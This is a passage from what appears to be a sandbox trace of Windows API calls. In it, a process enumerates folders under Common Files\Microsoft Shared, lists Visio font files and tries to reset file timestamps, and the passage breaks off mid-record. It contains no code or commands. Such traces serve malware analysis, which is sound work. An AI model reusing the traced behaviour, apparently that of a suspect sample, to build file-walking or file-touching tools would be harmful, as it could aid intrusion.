ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0064.333] GetLastError () returned 0x12 [0064.333] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0064.333] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0064.333] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.333] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0064.333] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0064.333] GetLastError () returned 0x12 [0064.333] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0064.333] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0064.333] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.333] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0064.333] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="")) returned 1 [0064.333] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0064.333] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0064.334] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0064.334] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0064.334] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb6d10 [0064.334] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb6d10, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xfb6d10, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0064.334] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb6d10) returned 1 [0064.334] NtClose (Handle=0x184) returned 0x0 [0064.334] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0064.334] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0064.334] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.334] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0064.334] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0064.334] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.334] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0064.334] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 0 [0064.334] GetLastError () returned 0x12 [0064.334] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d220 [0064.335] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0064.335] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.335] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0064.335] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9ead8 [0064.335] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.335] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb3670 [0064.335] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0064.335] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0064.335] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0064.335] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb6d10 [0064.335] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb6d10, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfb6d10, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0064.335] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb6d10) returned 1 [0064.335] NtClose (Handle=0x184) returned 0x0 [0064.335] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb3670) returned 1 [0064.335] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.335] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0064.335] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb3670 [0064.336] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.336] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb3778 [0064.336] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0064.357] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.357] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x4f2ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIGFONT.SHX", cAlternateFileName="")) returned 1 [0064.357] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.357] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.357] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.357] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.357] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.357] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb3880 [0064.357] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0064.357] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3e20 [0064.357] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb3988 [0064.357] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.357] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81c076e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xa261d, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHINESET.SHX", cAlternateFileName="")) returned 1 [0064.357] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.357] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.357] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.357] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.357] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.357] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3e40 [0064.357] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb05f0 [0064.357] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.357] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81eb4fa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x6a9e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXTFONT.SHX", cAlternateFileName="")) returned 1 [0064.357] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.357] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.358] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.358] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.358] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.358] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3e60 [0064.358] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb04e8 [0064.358] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.358] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8207e020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdc6b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBCBIG.SHX", cAlternateFileName="")) returned 1 [0064.358] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.358] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.358] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.358] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.358] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.358] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3e80 [0064.358] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0064.358] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.358] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2656900, ftCreationTime.dwHighDateTime=0x1c2706c, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2656900, ftLastWriteTime.dwHighDateTime=0x1c2706c, nFileSizeHigh=0x0, nFileSizeLow=0x2b01, dwReserved0=0x0, dwReserved1=0x0, cFileName="IC-TXT.SHX", cAlternateFileName="")) returned 1 [0064.358] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.358] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.358] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.358] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.358] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.358] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3ea0 [0064.358] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb4d28 [0064.358] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x9c0) returned 0xfaa438 [0064.358] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb4388) returned 1 [0064.358] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.358] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8f60300, ftCreationTime.dwHighDateTime=0x1c324cc, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc8f60300, ftLastWriteTime.dwHighDateTime=0x1c324cc, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICAD.FMP", cAlternateFileName="")) returned 1 [0064.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.359] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.359] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3ec0 [0064.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb4e30 [0064.359] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.359] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x369d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGDTXT.SHX", cAlternateFileName="")) returned 1 [0064.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.359] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.359] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3ee0 [0064.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb4f38 [0064.359] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.359] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x2fde5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGTXT.SHX", cAlternateFileName="")) returned 1 [0064.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.359] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.359] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3f00 [0064.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5040 [0064.359] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.359] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x9e413, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTGTXT.SHX", cAlternateFileName="")) returned 1 [0064.360] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.360] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.360] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.360] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.360] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.360] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3f20 [0064.360] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5148 [0064.360] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.360] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 1 [0064.360] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.360] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.360] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.360] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.360] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.360] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3f40 [0064.360] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5250 [0064.360] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.360] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", 